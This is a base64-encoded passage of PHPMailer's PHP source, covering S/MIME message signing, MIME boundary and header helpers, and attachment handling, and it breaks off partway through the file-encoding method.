ICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IGFycmF5KCk7CiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYWx0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnaW5saW5lJzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsKICAgICAgICAgICAgJHR5cGVbXSA9ICdhdHRhY2gnOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsKICAgICAgICBpZiAoJHRoaXMtPm1lc3NhZ2VfdHlwZSA9PSAnJykgewogICAgICAgICAgICAvL1RoZSAncGxhaW4nIG1lc3NhZ2VfdHlwZSByZWZlcnMgdG8gdGhlIG1lc3NhZ2UgaGF2aW5nIGEgc2luZ2xlIGJvZHkgZWxlbWVudCwgbm90IHRoYXQgaXQgaXMgcGxhaW4tdGV4dAogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGEgZm9ybWF0dGVkIG1haWwgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw\/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7CiAgICAgICAgICAgIGlmKCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAvL0RvZXNuJ3QgZXhpc3QgaW4gUEhQIDUuNCwgYnV0IHdlIGRvbid0IG5lZWQgdG8gY2h